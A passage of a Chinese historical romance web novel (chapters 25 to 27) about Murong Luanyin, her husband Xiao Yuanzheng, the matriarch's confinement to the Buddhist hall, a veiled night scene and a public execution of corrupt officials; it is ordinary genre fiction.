罗慧心没理他,自顾自又进卧房去挑选明日要穿的衣裳,要走了,自该穿的体面些。 · 彼时,慕容鸾音萧远峥一行人已在一家挂牌名叫“折桂院”的农家客栈入住,开了三间客房,其中一间用来放“白狐”尸体。 赵荆阎大忠在门外守卫,门内地上,萧远峥正举着油灯验尸。 黑伯蹲下身,接过萧远峥手里的油灯就道:“看样子,应该是用多张白狐皮缝制成了这么一张大狐狸皮穿在身上假扮狐仙唬人,不知又在身上抹了什么东西,狐狸皮和他的皮肉烧融在一起了,黢黑一团,你这还能看出什么来?” 慕容鸾音也在,她不敢靠近,又好奇想看,就远远坐在一把扶手椅上,道:“他是不是会变声之术,一开始喊破你的官位和名字时是个媚惑的女子声,后来大喊一句什么‘劫波渡尽,我升仙了’,又是一道粗犷的男子声。这人,是不是信了什么邪教了,就像前些日子胡狸表哥发现的弥勒教一样邪恶。” “是冲我来的。”萧远峥心想,今日一早陛下才确定了后日斩首的名单,夜里就遇到装神弄鬼想让他畏惧退出的邪恶死士,想必还有漏网之鱼,且是一条大鱼。 慕容鸾音想到今夜所见的惊悚邪异之处,又想到他被调任大理寺卿是查一宗涉及吏部高官的贪污大案,禁不住就问道:“你那大理寺狱抓了多少人了?” “满满当当。”萧远峥回眸望她,“不过,很快会清理一空。” 慕容鸾音倒吸一口凉气,“刑部、督察院也满满当当了?” 萧远峥垂眸,冷笑道:“刑部尚书摔断了腿,在家养病;左右都御史两位,一个是神龛里的泥菩萨,一个乞骸骨了。” 黑伯叹息,“那就怪不得了。吏部掌握着官员的选拔、任免、考核和奖惩,权柄甚大,既滋生了腐肉,那这里头牵扯进去的人物就都是不可说了。少主子,你真是身陷泥沼了,那泥沼里头还不知藏着多少牛鬼蛇神。” 慕容鸾音脑海中一霎浮现一个模糊的场景,似是做梦梦见过的,但此时身在外头也不好再入梦境,就道:“倘若把咱们大魏朝比作一个巨人,那这吏部就是胸腔那个部分的,现在它被寄生了腐肉,若不割去,大魏朝迟早会死。现如今陛下圣明,重用你为大理寺卿,彻查此案,可见大魏朝国运昌隆,正气长存,你为清正之气的化身,牛鬼蛇神该怕你才是。” 萧远峥站起身,唇角微露一点笑痕,向她伸出手,“夜深了。” 黑伯亦笑道:“你们到隔壁歇息去吧,明儿一早进城,回府后还要说服老夫人呢。音丫头,快去吧。” “笑什么、笑什么,我说的不对吗?”慕容鸾音脸色微微泛红,躲开萧远峥的手自顾自走了出去,“夜深了就夜深了,我自会去找碧荷冬青睡觉,你就留在这屋里和‘狐仙’一块睡吧。” 黑伯走到门口,看着慕容鸾音进了隔壁的房门这才转身回来,见萧远峥又蹲下身去查看尸体,就笑道:“音丫头懂你吧。” 萧远峥浑身一僵,垂眸道:“她占着我妻子的身份,本该有此觉悟。” 黑伯和衣躺下,闭上眼睛就道:“少主子呀,老主子灯下黑,可我这老奴在局外,看得清呦。” 萧远峥蓦地抬头,死死盯住他。 “放心,放心。老奴睡了,明日呀,我这把老骨头还有用。” 月坠西山,到了第二日,金乌没有升起,天上积了厚厚的云层。燕子低飞,似要下雨。 郧国公府内,一大早福寿堂就派了丫头到二房、三房,请二老爷三老爷一块用早食。 二老爷三老爷早听说了昨日的动静,不约而同的聚到外院书院商议。 二老爷萧琮背手在后,来回踱步,焦声道:“老夫人昨日诅咒老公爷的话你听说了吗?” 三老爷萧璜手里握着个小葫芦盘摩,轻一点头道:“听说了。” “她是不是老糊涂了,老公爷就是咱们府里的镇山太岁,任凭世子爷在外头得罪多少大人物都无碍,她倒好,巴望着老公爷……”萧琮气的咬牙,“萧瑾在时她满心满眼里都是萧瑾,萧瑾死了,又满心满眼都为了萧瑾的女儿打算,但凡她能为咱们想一想,也骂不出那些狠毒的话。” 萧璜笑道:“别拉上我,我是我们姨娘生的,在老夫人眼里我就是个便宜跑腿的。抱怨的话就别说了,老夫人叫咱们去吃早食,你去不去?” “饭无好饭,宴无好宴。”萧琮露出愁容来,“不过是想拉拢我,替她撑腰罢了。可她糊涂了,我又不糊涂,一个亲父,一个亲母,我夹在里头有什么好处。” 这时,心腹小厮来报:“回二老爷,世子爷世子夫人一块回来了。” 萧琮连忙问道:“可是把老公爷请回来了?” 小厮道:“老公爷没回来,黑伯回来了,带着世子爷世子夫人打扫佛堂去了。” 萧琮一惊,“福寿堂后面那座佛堂?” “是。” 萧璜一听,起身就道:“二哥,劳烦你替我告诉老夫人一声,安王妃寻我有个要紧事,要我立马去一趟,这就走了。” 话落,提起衣摆就速速的溜了。 萧琮跺脚,此时此刻,恨不能自己是姨娘生的。 忽的想到什么,就对小厮道:“你到里面去告诉二夫人一声,光禄寺出了一件急事,主官急召我回去一块商议,请二夫人替我去陪老夫人用早食吧。” 话落,着急忙慌的向外跑去。 25、第025章 流言的源头 听得说,世子夫人请回来的是黑伯,罗慧心的心一下就死了,把早已准备好的白绫猛地抛向房梁,就准备投缳自尽。 卧房的门窗都被她从里面拴死了,任凭外头陪嫁丫头哭喊拍门,萧元岱急的破口大骂都无动于衷。 就在这时冬青跑来,扯开无用之人,抬脚猛踹房门,直踹了七八下,才踹开一条紧容胳膊伸进去的门缝,冬青趴在门缝上,见罗慧心已经踩上凳子,马上要把脖子伸进去了,连忙怒喝,“你死了,岂不是白费了我们姑娘的一片好心,我们姑娘让来告诉你,黑伯带回了老公爷的印,咱们能战胜老夫人,能让岱四爷受鞭刑,能还你清白,四奶奶你快下来吧,我们姑娘在福寿堂后面的佛堂等你。” 若能活,谁想死,听见说带回了代表老公爷的国公印章,心里陡然升起一丝希望来。登时撂开手里白绫,跳下方凳,打开房门,一抹眼泪就咬牙道:“我随你去。” 彼时,黑伯也掏出钥匙打开了锁住三年的佛堂。 “门窗都封的严严实实的,里头就还算干净。”黑伯弄来两把鸡毛掸子分给慕容鸾音和萧远峥一人一把,笑道:“老夫人知道我打开了佛堂的门,此时一定坐不住了,等她来了以后,我自有法子应付,少主少夫人你们就只管在里面掸掸灰尘,抹抹蛛网,进去吧。” 慕容鸾音答应一声,迈过门槛就走向供案,眼睛瞧见哪里有灰尘就掸一掸,哪里结了蛛网就抹一抹。 萧远峥站在原地没动,一双星目黑沉沉的盯着他。 黑伯先是吩咐侍立在廊檐下的碧荷去搬一张高脚花几来,随后看着萧远峥无奈一叹,只好从袖子里掏出四爪正蟒赤金国公印给他瞧。 萧远峥一顿,这才进去了。 萧远峥前脚迈进佛堂,后脚福寿堂的后门被从里面打开,老夫人头戴花钗九珠冠,身穿绛红色大袖霞帔,脚踩青舄,一品大妆,拄着一根青玉手杖缓缓向黑伯走去。 “老黑子,那老东西何在?” 黑伯接过碧荷搬来的高脚花几摆到佛堂门中间的位置,恭敬的捧出国公印摆上,这才转过身来,弓腰驼背的面对老夫人,“回老夫人,老公爷在观里清修。府里发生的事情,他都知道了,让我回来,恭请您入佛堂清修。” 老夫人脊背挺的笔直,一张脸比此时的天色还要阴沉,“八月十五团圆夜都不见他人影,我看是已经病死了,但为了压制我,就让你拿着他的国公印虚张声势!他死了,说不得尸体都被蛆虫吃光了,我就是郧国公府的老祖宗,你一个老奴谁给你的胆子,以卑犯尊,逼我入佛堂!” 佛堂内,慕容鸾音听到老夫人恶毒的诅咒,如何还能安心打扫,早已跑到门旁里,探出半个身子来怒视她。 黑伯越发恭敬,又掏出一张信纸来打开,点着上面写的字道:“老奴这里有老主子亲手写的一封手书,您认得老主子的字迹,恭请一辨真假。” 一边说着,一边就把手书恭恭敬敬摆到了国公印旁边。 老夫人心头一颤,拄着手杖快走两步,上得台阶拿起手书就撕扯个稀巴烂,朝天一撒,冷下两声,“手书?手书何在!定是你这奸诈恶奴伪造的!” 慕容鸾音气的跺脚,奈何身为被厌恶的孙媳,她一开口,无论说什么,都只会火上浇油,只能静观其变,看黑伯还有什么招数能应对。 黑伯身躯高大,微有驼背,面对老夫人时为显恭敬,越发把腰弓着,把头低垂,却在此时,变故陡生,黑伯袖中掉出一把蟒形短刀,他蓦的直起身躯,接住短刀,身形恍若灵蛇,一下子蹿到老夫人身前,横刀抵住她的喉管,“少主莫要妄动!” 彼时,萧远峥已飞冲到黑伯身后,右掌化爪扣住了黑伯右肩。 “黑伯,你这是做什么?放开祖母!” 老夫人脸色惨白,强撑着怒吼一声,“你敢杀我?!” 慕容鸾音先是震惊,随即惶然无措。 彼时,罗慧心和萧远岱也随着冬青,经穿堂进了此处庭院,甫一瞧见黑伯拿刀横在老夫人脖子上,都惊骇的僵在原地,动弹不得。 黑伯笑道:“少主少夫人莫怕,你们年纪小不知道,我与老主子歃血盟誓时,老夫人是亲眼见证的,盟誓中有一条是这样的,若老主子因变故不在,而老夫人的言行举止坏了老主子定下的规矩,譬如身为尊长而不慈残害晚辈,譬如带头破坏府规,妄自尊大更改规矩,我都可以代替老主子杀掉老夫人,如今老夫人已是触发了这一条盟誓,我只是履行誓言代主清理门户,我手上这把蟒刀就是老主子所赐,老夫人,你莫不是忘了吧?” 老夫人已是想起来了,浑身抖若筛糠,“峥儿、峥儿救我。” 萧远峥此时已大略明白了黑伯的意图,收回扣住他肩膀的手就道:“黑伯,你与祖父的盟誓我尊重,但请念在老夫人年老体衰,难免误信小人的份上,寻个替命之法,如何?” 黑伯故意用杀意弥漫的眼神死死盯着老夫人,冷冷道:“老主子已给过老夫人两次机会了,三年前为了少主你的婚事她死闹了一场,老主子改建了这座佛堂要关她,她哭求认错,老主子饶了一回,一次就是方才老主子再次请她入佛堂清修,她却把老主子的手书撕了,她还诅咒老主子,如此发妻,不如杀了!” 老夫人一听,连忙哭道:“我愿意、我愿意入佛堂,往后余生我住在佛堂,府内中馈我亦交还,再不过问府内任何事。” 黑伯回头与萧远峥对视一眼,萧远峥垂了下眼皮。 黑伯就道:“古有以发代首,那就请老夫人割掉自己一缕头发吧。” 话落,把横刀从她喉管上收回,两手捧着送到她面前,“老夫人,请。” 老夫人见刀离了她的喉管,又有萧远峥为她撑腰,就颤着手不愿意接。 “罢了,还是杀……” 老夫人慌忙扯掉自己的国公夫人花钗冠,抓出一缕头发来,抢过横刀就割了一把下来,哭嚎着扔黑伯脸上,“这下好了吧!” 黑伯低垂头颅,恭敬后退,搬开高脚花几,高声道:“恭请老夫人入佛堂清修——” 老夫人颤巍巍看向萧远峥,萧远峥亦后退两步,拱手作揖,“祖母,请。” 慕容鸾音恍惚着才看清黑伯的这番博弈谋略,心下激动,连忙走出佛堂,侍立在侧,福身恭请,“请老夫人入佛堂!” 罗慧心泪流满面,攥紧的拳头一霎松开,走到台阶之下,福身行礼,咬牙高呼,“恭请老夫人入佛堂!” 萧远岱糊里糊涂的,见众人如此,也有样学样小声随了一句,“恭、恭请老夫人入佛堂。” “好、好啊!”老夫人颤巍巍走向萧远峥,怨恨的看着他,“他们倒罢了,我巴望着那老东西死,他死了我就是老祖宗,我就能做主替你休妻,改娶淑儿,我一番苦心都是为了成全你,你反倒帮着他们,你可知道,团圆夜你弃她而去,她在绛仙阁悬梁自尽差一点就死了!” 萧远峥皱眉,垂着眼道:“我从无休妻另娶之意。” 老夫人自袖中掏出一张信纸扔他脸上,“那这是什么?!” 萧远峥没动,慕容鸾音鬼使神差的走过去,弯腰捡了起来,展开一看,上面写着她和洛淑仪的名字,洛淑仪的名字被用朱砂笔重重圈了出来,而字迹是舅外祖的。 “这是什么?” 老夫人下死眼盯住慕容鸾音,冷笑道:“三年前,老东西为他聘妻,在这张纸上写下了你和淑儿的名字,他坚定的选择了淑儿。是你、是你抢了淑儿的姻缘,毁了她一辈子,是你!” 黑伯蓦的上前一步,此时眼中杀意不再是装的。 老夫人心肝俱颤,蹒跚着走进佛堂,嚎哭道:“我让有情人终成眷属有错吗?” 黑伯怒道:“大小姐的婚事没让你做主吗,结果呢,到头来发现是被人谋算了一场,还被洛雄才那白眼狼踩着大老爷的尸骨爬上了侯爵之位,老主子对你已是过分纵容了!” 话落,“嘭”的一声关上了佛堂门,隔绝了老夫人不甘不愿的哭嚎声。 可慕容鸾音此时已什么都听不见了,她抬眸看着萧远峥,泪水如断线的珠子一样,“原来这就是府内流言的源头,原来你真的坚定的选择过她,原来、原来我真的抢了别人的良缘……” 黑伯急的抓耳挠腮,可无可奈何,只能走到门槛上坐着叹气,干巴巴的道:“父母之命媒妁之言,他也没得选。” 萧远峥垂袖背手,下意识的将左手虎口上将将结疤的齿痕再次抠破,垂眸不语。 “黑伯,你说的是。” 黑伯意识到自己说错话了,抬手就给了自己一嘴巴。 “我、我累了,我回去了,这个证据你收好。”慕容鸾音想还给他,他却背手不接,慕容鸾音没法子,往他腰带里一掖就走下石阶,没注意踩空了一阶,亏得冬青红着眼眶冲上来一把扶住,“姑娘小心。” 碧荷亦红着眼睛上前托起她另外一只手,“姑娘,咱们回瑞雪堂。” “好。” 26-30 第26章 第026章婚盟“阿音妹妹,别打脸…… 却说慕容鸾音回到瑞雪堂后,只觉浑身虚软无力,呼吸不畅,一头栽倒在床上,就吩咐碧荷点一支安神香,就闭上眼睛等待入梦,她迫切的想进入梦境寻求解脱之法。 随着一缕青烟从博山香炉中飘出,慕容鸾音闻到自己亲自调配出来的安神香气,呼吸渐渐平稳,不知不觉就睡了过去。 “把孩子给我,我带去福寿堂抚养。” “为何?我为宝哥儿请了两个奶娘,配了四个细心的丫头,这是我的长子,自该留在瑞雪堂我亲自照顾抚育,就不劳烦您了。” “给我!”老太太一把抢过慕容鸾音怀里的襁褓,冷笑道:“别跟我装傻充愣的,你人虽关在屋里坐月子,你的丫头嬷嬷们难道也都死了不成,前几日府内潜入一个死士,打听着峥儿真爱之人是淑儿,就抓了淑儿威胁峥儿,峥儿虽是把淑儿救下了,淑儿却被捅了一刀,伤了宫胞,没了生育能力。” “可是、可是与我何干,凭什么抢我的孩子,把孩子还我!” 慕容鸾音掀起被子,想要下床把孩子抢回,忽见老夫人使劲掐了孩子一把,孩子顿时哇哇大哭。 慕容鸾音心一颤,跌在脚踏上,哭道:“你冲我来啊,他还那么小,你怎么忍心。” “我把孩子带到福寿堂交给淑儿抚养,淑儿自会用心疼爱。”老夫人轻轻摇晃安抚,又冷笑道:“你占了淑儿的位置,可凭什么享受容光与尊位的是你,被毁害的却是淑儿,这是你欠他们的,就用生子来还,从此以后你就是他们生儿育女的器皿!” 梦境之外,暮色冥冥,秋雨濛濛。 茯苓带着两个仆妇,打着伞从大厨房提了两个大食盒回来,但见冬青靠在廊柱上往水缸里闲扔石子,就道:“姑娘可是还没醒?” 冬青闷闷“嗯”了一声。 这时只听碧荷隔着窗户吩咐道:“姑娘醒了,要沐浴。” 冬青一下子来了精神,沿着抄手游廊就向茶房跑去。 茯苓也笑起来,忙忙的收起伞搁在门旁里,让仆妇退下,又喊屋里的冬葵出来,帮忙把食盒提进去好一块摆饭。 一忽儿茶房把浴桶送了进来,注满温热的水;一忽儿,碧荷往洗澡水里倒入四五滴山茶花花露;一忽儿,冬青把暖阁的纱幔放下,慕容鸾音就脱光衣裙入了水,把头沉进去好一会儿才“哗啦”一声出来,伏在桶沿上大口喘息。 碧荷见她露出头来,悬着的心放下,想着怎么哄她高兴才好,就笑道:“姑娘,岱四爷受到惩罚了,世子爷亲自执鞭动手,每一鞭子下去都皮开肉绽,打的岱四爷鬼哭狼嚎的,四奶奶就当面看着、当面听着,可是解了恨了。” 慕容鸾音想到那个场景,心里也替罗慧心高兴,就道:“解恨是其次,最重要的是澄清了污名。” “姑娘说的是。”碧荷拿着软布巾一边为慕容鸾音擦拭后背一边又笑道:“世子爷打完了就对四奶奶说:‘他身上有病,让他去跪祠堂恐污了祖宗牌位的净地,改罚跪祠堂半个月为关在慎行堂一个月’,四奶奶痛快答应了,又提出要与岱四爷分院别居,世子爷也同意了,还体恤四奶奶带着孩子不方便挪院,仍旧让住在原来的院子里,待得岱四爷关闭期满,另给他一个小院住,还会让岱四爷治病,若病好了,也改了寻花问柳的毛病,他们夫妻是否重归于好,都由四奶奶说了算。” 这时茯苓一只手臂上搭着一身睡裙走来笑问,“姑娘,一身樱桃红柿蒂纹罗裙,一身梨花白折枝红山茶纱裙,您想选哪一个?” “红山茶。” 茯苓应下,回身去把樱桃红罗裙收好,抱着红山茶纱裙又走了进来。 “姑娘,我在大厨房等着提饭菜的时候,听做糕点的杨大娘说,四奶奶是家里的长姐,当年嫁进来只抬进 来两个嫁妆箱子,聘礼一点也没带回,都留在娘家了,说四奶奶有一弟一妹,就把自己的聘礼分成两份,其一给弟弟娶妻,其二给妹妹做嫁妆,我还寻思呢,凭四奶奶的品貌风骨,如何肯嫁给岱四爷那样的,原来是有这样的苦衷。” 彼时,慕容鸾音已裹上鹅黄色大浴巾走出了浴桶,略擦去身上水珠后又换了一张干软的浴巾裹着,坐在紫檀绣墩上,由着碧荷为她擦头发。 慕容鸾音心想,分院别居也是不错的双全之法。 “世子爷在府里吗?” 茯苓一壁把整套纱裙放到床榻上一壁道:“处置完岱四爷就出门去了,这会儿也不知道回没回府。” 慕容鸾音心想,他定是马不停蹄去大理寺解剖“白狐尸体”去了。 “茯苓,你亲自去静园一趟,告诉观棋,若是世子爷回来,就让他洗干净了过来和我生孩子。”慕容鸾音说着就走到床榻前,两臂张开,由着碧荷为她更衣。 茯苓惊讶,张嘴“啊”了一声。 慕容鸾音就笑道:“与他这场婚姻,我已看开了许多,也明白了,祖母让我嫁给他,不是让我要死要活爱他的,与其说是婚姻,不如说是婚盟。勋爵人家不得经商,只有田庄房产,可勋爵人家又人口日繁,排场用度又依如祖上,如何够用,只能开源,我祖母擅经商,祖母就是舅外祖为郧国公府布局下的开源之人,祖母死了,萧氏和慕容氏的相互依存关系必须巩固,而我是两家的桥梁,自该担负起这份责任来。” 可梦境中的那个慕容鸾音本末倒置,把自己陷入了“求不得”的痛苦执念里,自悲自苦自沉溺。 今日那朱砂红圈却也把她潜藏在心底的那点“求不得”掐断了。 如今她在梦境之外冷眼旁观梦境之内,灵台清明。 一时,更衣毕,慕容鸾音饱餐一顿,就在抄手游廊上散步消食,闲听雨声。见自己屋檐滴漏下少了些什么,就想起雨打芭蕉一句来,吩咐碧荷,明日让花草房的人来,在滴漏下栽种两棵芭蕉,下次下雨,她要听雨打芭蕉。 回到暖阁,在铜镜前坐定,望着镜子里雪肤花貌的自己,就笑问道:“碧荷姐姐,我美吗?” 碧荷一怔,随即笑道:“奴婢若说出来,怕姑娘疑心我有磨镜之癖。” 慕容鸾音顿时笑的花枝乱颤,眼泪都出来了,抬手抹去眼角一点泪迹就道:“想起咱们小时候一块躲在被窝里看那些风月话本的时光了。” 碧荷暗自轻叹,拿起梳子又笑道:“今夜梳一个慵懒松散的堕马髻如何?” “好。” 却说萧远峥,子夜归来,听见观棋说慕容鸾音找他生孩子,不由得就松了一口气,沐浴更衣后就打着一把伞往瑞雪堂来。 彼时,慕容鸾音因有事要和他说明白,就边复习医书边等。 萧远峥进得庭院,见暖阁窗上映出通明灯火,唇角克制不住的微微翘起一点,把伞扔在门旁,敛去笑痕,这才走了进去。拨开珠帘与纱幔,就见慕容鸾音正倚在两个叠在一起的杏红色彩蝶大引枕上看书,穿一条白色睡裙,裙上绣着大朵大朵盛放的红山茶,尤其胸前那一朵,鹅黄的花蕊,红艳的花瓣分外妖娆。小脸看起来香香嫩嫩,脂粉不施而眉黛唇朱,当她抬眸望向他时,眼底清澈明净,却不见一丝情意,顿时令他心口一窒。 慕容鸾音放下书也在打量他,但见他以一支乌银竹节簪半束发,一半披散在背后,穿一袭藏青色银丝刺绣双鹤云锦鹤氅,里面是一件雪缎直裰,腰上扎着一条串珠缀穗藏青宫绦,端的是一位长身鹤立,瑰姿玉容的翩翩贵公子。 撇开他不爱她这一点,此人洁身自好,聪明绝顶,位高权重,又有超凡脱俗的姿容和昂藏的身躯,不啻为一个好床伴,更是一个重诺守信的好靠山。她喜欢孩子,尤其是漂亮孩子,她此生一定会生一个属于她自己的孩子,还要亲自抚育教养,从生孩子的角度考虑,他亦能提供优质的种子。 如此想着,心里对他的排斥就少了许多。 “萧远峥,我已想到解脱之法。”慕容鸾音舔舔唇,捞起自己的鸳鸯香枕紧紧抱在怀里,不看他的脸色继续道:“从你昨夜遭遇‘白狐’刺杀之事来看,想你死的人不少,且手段诡谲防不胜防,满府里都知道你真爱是洛表姐,若是被有心人探知,必会抓她威胁你,可她既没占你世子夫人的尊位,还那般无辜可怜,不该遭受伤害,我们二人,既都是身不由己,注定要绑在一起维持萧氏和慕容氏的盟约,至少要护她周全。待得我生下嫡长子,你就搬出瑞雪堂,此后你们自可在静园过你们的恩爱日子。等到孩子长大,你为他请封世子,我身为两家桥梁的责任转嫁到孩子身上,我们便可和离了,如此,我得解脱,你们也能真正有情人终成眷属。” 萧远峥在床边坐定,脱掉靴子放到脚踏上,淡淡道:“你想怎么护她周全?” 慕容鸾音紧抓一下怀里香枕,翻个大白眼,心想,果然最先在意这个。 “自是要世人知道,你‘最爱’我,从明日起,我打算与你形影不离!”我要保住她的生育能力,不能让她再抢我的孩子。 萧远峥把鹤氅轻轻放在床尾矮柜上,这才蓦的抬眸死盯住慕容鸾音,“你竟将我拱手相让了?” 慕容鸾音蹙起眉尖,一时没能理解他这话的意思,少顷明白了,就冷笑道:“你莫不是无耻到这等地步了吧,忽然察觉我真的不爱你了,你又舍不得我追逐你时的那种、那种……” 想了好一会儿也想不出合适的词来形容,立马放弃再想,就道:“这是我的决定,只是通知你而已。” 话落,深吸一口气,把两个大引枕拿开放到床头矮柜上,又把枕头放好,自己躺下闭上眼睛就道:“夜深了,你快些完事,我好睡觉。” 雨声渐大,电闪雷鸣。 萧远峥看着慕容鸾音紧紧攥着拳头躺在那里,心上忽起一阵酸麻的刺痛感,她这么平静,这么理智,不再对他两眼含泪,哭红眼睛,他知道这意味着什么,可他不允许! “好!” 一个“好”字几乎是从牙缝中挤出来的。 当即去解她裙上系带,越解越成死结,他顿生戾气,两手用力一扯就撕成了两半。 慕容鸾音躺不下去了,蓦的睁开眼瞪他,“你有病啊!” “有,病入膏肓。”他俯身去吻她唇,她蓦的撇开脸,冷冷道:“那些亲昵,省了吧。” 他心上一疼当真听话去直刺蜜源,可她黛眉一蹙就推着他的胸膛喊疼。 他急忙止住,去看她脸色。 自己的身子自己清楚,太干涩了,自然会痛。 慕容鸾音这才急了起来,“怎么办、怎么办,这还怎么生孩子,生不出来,我们何时能放彼此自由,亦不能让洛表姐为等你空耗年华,蹉跎岁月,她已经那么可怜了,我会愧疚死。” 话落,一咬唇,闭上眼睛再次躺平,“你来吧,我忍忍就是了。” 萧远峥一双星目已是一片赤红,他看着这样的慕容鸾音心痛到无法呼吸。他急切的去亲吻她的唇,慕容鸾音紧闭唇齿不愿,弄的她又急又怒,睁开眼奋力挣扎,一手抵住他胸膛,一手挣脱出来就去扇他脸,“无耻!” 萧远峥蓦地攥住她的手腕,哽咽道:“阿音妹妹,别打脸,明日要监斩,拧耳朵吧。” 一声“阿音妹妹,别打脸”,却忽的把慕容鸾音带入那一年冬至,她梳着花苞头,戴了满头的柿子红小绒球,坠着花生那么大的两串金铃铛,他弹她铃铛玩,又揪她小绒球,把她的花苞头弄的乱糟糟的,她生气了,就骗他,让他把她抱在怀里,她就扬起小手要打他,他亦笑着说了句“阿音妹妹,别打脸,一会儿父亲要问我功课,你拧耳朵吧”。 “你不许再叫我阿音妹妹!”慕容鸾音刹那 红了眼睛,当他的一滴泪落在她脸颊上时,她怔住了,十分不解,但也不想再去解,只冷冷道:“改日吧,你滚。” 萧远峥却道:“我有法子不让你痛。” 就在慕容鸾音愣神之际,他已是掀起她的绯红合欢花绣被来盖住了自己,又似红兽一般吞了她半个身子,将她带入了团圆夜。 秋雨寒,雷声紧,窗棂紧闭,层层纱幔低垂,暖阁内自成一个私域,满是山茶花的香甜气。 此刻,慕容鸾音像是绽开花蕊的妖娆山茶,娇喘仰受,竟不由得想到,凭他如何位高权重,如何聪明绝顶,如何翩翩贵公子,还不是跪倒在她裙下,竟就滋生出隐秘的快感来,越发恣意盛放。 雨声掩去了抵至最深处时那一瞬欢愉之巅的莺啼粗喘。她以为完事了,至黎明前夕又被偷袭了一次。 翌日,云收雨散,秋高气爽。 慕容鸾音睡了个回笼觉再起来,日光都挤满了暖阁。 待得洗漱更衣,坐在妆镜台前,望着镜子里自己唇角那一点咬痕,恼恨的频频蹙眉,他竟是如此卑鄙无耻之人,趁她沉溺其中时得逞了。 碧荷捧来一碗红枣燕窝粥放在镜台上,笑道:“错过了早食,且先吃一碗这个暖暖肠胃,快别看了,再也没有比姑娘更美的了,奴婢给您梳头。” 慕容鸾音端起碗吃了两口,笑道:“黑伯回道观了吗?” “今儿一早就走了,把姑娘推给福寿堂的钥匙账本子什么的,一股脑连箱子都给送了来,问及姑娘还在睡觉,笑眯眯的走了,留下话,若府里还有人胆敢不服顺,他再来给姑娘撑腰。” 慕容鸾音拿帕子擦擦嘴,心里暖洋洋的,不过…… “这家谁爱管谁管,送去静园,昨夜我已和他说明白了。让他自己找人管他自己的家去。” 碧荷犹豫着点了下头。 这时茯苓面带敬服的走了进来,“姑娘、姑娘,府里都传开了,世子爷在东市口扎了棚子监斩贪官呢,穿大红蟒袍的公公手持圣旨念完一个官犯下的罪证,刽子手就杀一颗头,百姓们一片叫好,门上的小幺看了回来说,贪官流出来的血都是黑的。” “这就是胡说了,便是恶贯满盈之人的血也是红的,除非中毒才有可能变黑。”慕容鸾音想到他昨夜说过的,今日要监斩,心里忽然想到,这不就是最好的让世人知道“他最爱她”的时候嘛,于是连忙把点翠缀宝金帘梳递给碧荷,“快些弄好,我要出门。茯苓,你去把那件金莲花斗篷找出来。” 茯苓不太确定,就道:“奴婢恍惚记得金莲花斗篷有两件,一件姑娘穿的红羽缎金莲花,一件世子爷穿的黑羽缎金莲花,这两件还是姑娘初嫁进来那年,世子爷观莲节生日的时候做的。” 慕容鸾音大喜,“我倒忘了我也有一件,都找出来。” “是。” 第27章 第027章伏羲娲皇图…… 京都有东西两大市肆,东贵而西贱,指的是西市多百姓日常生活所必须的行当,如菜肉、牲畜、棉麻布等;而东市多是些如珠宝、绸缎、香料、牙行这样的行当。 故此,来往东市的多是些非富即贵的人士,消息传播十分灵通。 彼时,东市口广场上,官府扎起了一个棚子,大理寺卿萧大人和锦衣卫指挥使苏大人正坐在里头监斩,一个是正监官,一个是副监官。 棚子前用石灰撒下了一个大白圈,白圈内六位刽子手已抱着长刀准备就绪,个个眉心抹了一指朱砂,光着膀子,膘肥体壮,下盘极稳。 白圈之外有腰挎绣春刀的锦衣卫驻守防卫,来看热闹的百姓们虽畏惧锦衣卫的威名,但也仗着人多,群情激奋时,手里有什么就往那些跪在地上的贪官身上砸什么。 烂菜叶子、臭鸡蛋、石头,还有扔臭鞋臭袜子的。 从午时初刻开始砍下第一颗吏部尚书的头,到未初一刻砍下张阁老的头收尾,用时不过一个多时辰。 慕容鸾音乘车赶来时,就见锦衣卫正在搬起人头堆京观。她莫名的就是知道,这个堆京观的主意是萧远峥提的。一为震慑百官,二为挑衅,挑衅那些因畏惧他断案如神之名而想要毁灭他的人。 依如他在静园堆的虎头观。 棚子内,正中设了一案一椅,萧远峥坐在那里,头戴展脚幞头,穿一袭绯红大袖袍,脚踩粉底皂靴,正单手捧着一卷书在看,一副稳坐钓鱼台的模样。 左后侧亦有一案一椅,锦衣卫指挥使苏逢生坐在那里,身穿玄黑飞鱼服,正在慢条斯理的擦拭自己的绣春刀。 就在这时,赵荆丧着脸走到萧远峥身畔耳语,“世子夫人说,午后起风了,她来给您送斗篷,您若不让她进棚子,她立马和离回娘家。” 萧远峥把书一扔,再也装不下去了,冷着脸道:“你亲自去送她回府。” 赵荆几乎快哭出来,“世子夫人是知道怎么对付我的,我如何送走。” “没用的东西,怎就那般怕女人,他日得空必给你娶上一院子。” 赵荆瞬间惊恐,连连打躬作揖。 站在锦衣卫防卫圈之外的慕容鸾音见萧远峥还是不出来,想着反正已经砍完头了,她高声喊他应该无碍,这般想着就用娇滴滴的声音喊了一嗓子。 “夫君,起风了,妾身给您送斗篷来了。” 萧远峥嚯然站起,走出棚子,走向慕容鸾音。 但见她身上穿着一件绯红羽缎用金线刺绣鱼戏莲的斗篷,打扮的彩绣辉煌,明艳照人,方才她那一嗓子更把所有人的目光都吸引到了她一人身上。 那些目光,驳杂难辨,善恶难分,更不知潜藏了多少别人的眼线,令他心里生惧。 “听话,快回去。” 慕容鸾音趁机从锦衣卫的胳膊底下钻进去,故意做崴脚状一下子撞进他怀里,她生怕他会把她推出去,于是急忙紧抓着他袖子低声开口威胁,“萧远峥你敢把我推出去试试,倘若我什么都不顾,执意和离,你猜在我哥哥心里究竟是两家的婚盟重要还是我重要,我想知道答案,你想吗?” 他不想! 事已至此,他只好扶正慕容鸾音的身子,拿走她怀里抱的黑羽缎金莲花斗篷,冷眉冷眼道:“斗篷我收下了,莫要在此误事,回家去。” “想来你是没发现,这两件斗篷是一对,我要你现在就穿上。”慕容鸾音牵起自己的斗篷,给她瞧两件斗篷上相同的鱼戏莲花纹,笑盈盈道:“我要满京都的人都盛传,我们是天作之合的一对璧人。” 就在这时,从人群中挤进来一个身穿孝衣的少年,生得眉清目秀,先是看向贪官人头堆成的京观,努力大睁着哭红的眼睛仔细辨认,当他发现他祖父张阁老的人头被置于最顶端时,顷刻间筑起的心墙崩塌,大哭大喊“冤枉”。 萧远峥顾不得慕容鸾音了,匆忙穿上斗篷,将她推出白圈,扔下一句“快回家”,就转身大步走回棚子,坐回监斩官的位置上就昂声道:“喊冤的是何人,让他上前。” 锦衣卫放行,少年含泪上前,不跪不拜,怒声质问,“敢问大理卿萧大人,为何砍下我祖父张阁老的头还不算,还要将其堆成京观,暴晒三日,那恶贯满盈之人尚且人死罪消,我祖父不过是收了女婿范成德所赠的一些字画古董,罪不至此!” 